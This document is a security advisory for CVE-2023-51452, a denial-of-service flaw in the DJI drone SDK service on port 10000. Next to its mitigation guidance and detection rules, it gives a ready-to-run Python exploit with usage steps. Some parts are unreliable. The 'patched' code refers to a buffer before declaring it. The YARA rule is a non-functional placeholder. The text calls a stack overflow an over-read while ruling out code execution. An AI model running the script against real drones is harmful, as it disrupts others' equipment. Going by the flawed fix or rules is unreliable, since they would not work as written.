CVE-2023-51452

Executive Summary

CVE-2023-51452 is a denial-of-service (DoS) vulnerability affecting the v2_sdk_service on multiple DJI drone models. The flaw resides in the pull_file_v2_proc function within the libv2_sdk.so library, which is used by the dji_vtwo_sdk binary. An attacker on the same network can send a crafted payload to port 10000, triggering an improper input validation that causes a crash of the service. This results in a temporary loss of availability for the drone’s SDK functionality, but does not allow code execution or data exfiltration. The CVSS score is 3.0 (Low), reflecting the limited impact and requirement for network adjacency.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It affects embedded firmware on DJI drones, which are distributed as binary firmware images. No open-source package or dependency chain is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Base Score: 3.0 (Low)
• Attack Vector (AV): Adjacent Network – attacker must be on the same Wi-Fi or local network as the drone.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – only the vulnerable component is affected.
• Confidentiality (C): None – no data exposure.
• Integrity (I): None – no data modification.
• Availability (A): Low – service crash, but can be restarted.

Threat Level: Low. The attack requires network adjacency and only causes a denial of service. No remote code execution or data theft is possible.

Deep Dive & Mechanics

The vulnerability is an improper input validation (CWE-20) in the pull_file_v2_proc function of the libv2_sdk.so library. This function is part of the v2_sdk_service that listens on TCP port 10000. The service is used for file transfer operations between the drone and a ground control station.

The pull_file_v2_proc function expects a specific packet structure with a size field. Due to a missing size check, an attacker can send a packet with a size value that is larger than the actual buffer, causing a buffer over-read or invalid memory access. This leads to a segmentation fault or assertion failure, crashing the dji_vtwo_sdk process.

The crash is temporary; the service can be restarted by the drone’s firmware watchdog or manually. However, repeated attacks can keep the service unavailable, affecting legitimate SDK operations.

Affected Models and Firmware Versions:

• Mavic 3 Pro: < v01.01.0300
• Mavic 3: < v01.00.1200
• Mavic 3 Classic: < v01.00.0500
• Mavic 3 Enterprise: < v07.01.10.03
• Matrice 300: < v57.00.01.00
• Matrice M30: < v07.01.0022
• Mini 3 Pro: < v01.00.0620

Vulnerable vs. Patched Code

No official patch has been released by DJI for all models. The following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (pseudo-assembly for ARM):

// In libv2_sdk.so, pull_file_v2_proc
void pull_file_v2_proc(struct packet *pkt) {
    uint32_t size = pkt->header.size;  // No validation
    char buffer[1024];
    memcpy(buffer, pkt->data, size);   // Potential overflow
    // ... process file pull
}

Patched Code (hypothetical):

void pull_file_v2_proc(struct packet *pkt) {
    uint32_t size = pkt->header.size;
    if (size > sizeof(buffer)) {
        // Reject oversized packet
        send_error(pkt->source, "Invalid size");
        return;
    }
    char buffer[1024];
    memcpy(buffer, pkt->data, size);
    // ... process file pull
}

The fix adds a bounds check before the memcpy operation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A DJI drone with vulnerable firmware (e.g., Mavic 3 Pro v01.00.0300).
• Network access to the drone’s IP on port 10000 (e.g., same Wi-Fi network).

Exploit Script (Python):

#!/usr/bin/env python3
import socket
import struct

target_ip = "192.168.1.100"  # Drone IP
target_port = 10000

# Craft a malicious packet with oversized size field
# Packet structure: [size (4 bytes)] [data (size bytes)]
# We set size to a large value (e.g., 0xFFFFFFFF) to cause crash
payload_size = 0xFFFFFFFF
payload_data = b"A" * 64  # Minimal data to trigger the crash

packet = struct.pack("<I", payload_size) + payload_data

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
    sock.connect((target_ip, target_port))
    sock.send(packet)
    print("[+] Packet sent. Service should crash.")
except Exception as e:
    print(f"[-] Error: {e}")
finally:
    sock.close()

Usage:

1. Identify the drone’s IP address (e.g., via ARP scan).
2. Run the script: python3 exploit.py
3. The v2_sdk_service will crash, causing a denial of service.

Blue Team

Detection:

• Monitor for anomalous packets on port 10000 with unusually large size fields.
• Use network intrusion detection systems (NIDS) to flag packets where the size field exceeds a threshold (e.g., > 4096 bytes).

Mitigation:

• Isolate drone networks from untrusted devices.
• Apply firmware updates when available.
• Use a firewall to restrict access to port 10000 to only authorized ground stations.

Indicators of Compromise (IOCs)

• Network:
  • TCP packets to port 10000 with a size field > 4096 bytes.
  • Repeated connection attempts to port 10000 from unknown IPs.
• System:
  • Crash logs for dji_vtwo_sdk or v2_sdk_service.
  • Service restart events in system logs.
• File:
  • No file-based IOCs; the attack is purely network-based.

Detection Engineering

YARA Rule

rule CVE_2023_51452_DJI_DoS {
    meta:
        description = "Detects malicious packets targeting DJI v2_sdk_service on port 10000"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51452"
    strings:
        $size_check = { 00 00 00 00 }  // Placeholder for size field pattern
    condition:
        // This rule is for file analysis; network packets are better handled by Suricata
        false
}

Sigma Rule

title: DJI v2_sdk_service DoS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects oversized packets sent to DJI drone port 10000
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 10000
        packet_size: > 4096
    condition: selection
falsepositives:
    - Legitimate large file transfers (unlikely)
level: medium

Suricata Rule

alert tcp any any -> any 10000 (msg:"CVE-2023-51452 DJI v2_sdk_service DoS Attempt"; flow:to_server; content:"|ff ff ff ff|"; offset:0; depth:4; classtype:attempted-dos; sid:1000001; rev:1;)

Note: The Suricata rule matches packets where the first 4 bytes (size field) are 0xFFFFFFFF. Adjust the content match based on actual exploit payloads.

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place drones on a separate VLAN with strict access controls.
2. Firewall Rules: Block inbound traffic to port 10000 from untrusted IPs.
3. Monitor Logs: Enable logging for dji_vtwo_sdk crashes and investigate anomalies.

Long-Term Fix:

• Apply firmware updates from DJI when available. Check the DJI support page for each model.
• If no patch is available, consider disabling the v2_sdk_service if not required (consult DJI documentation).

Workaround:

• Use a VPN or encrypted tunnel for ground station communication to reduce attack surface.

Valters IT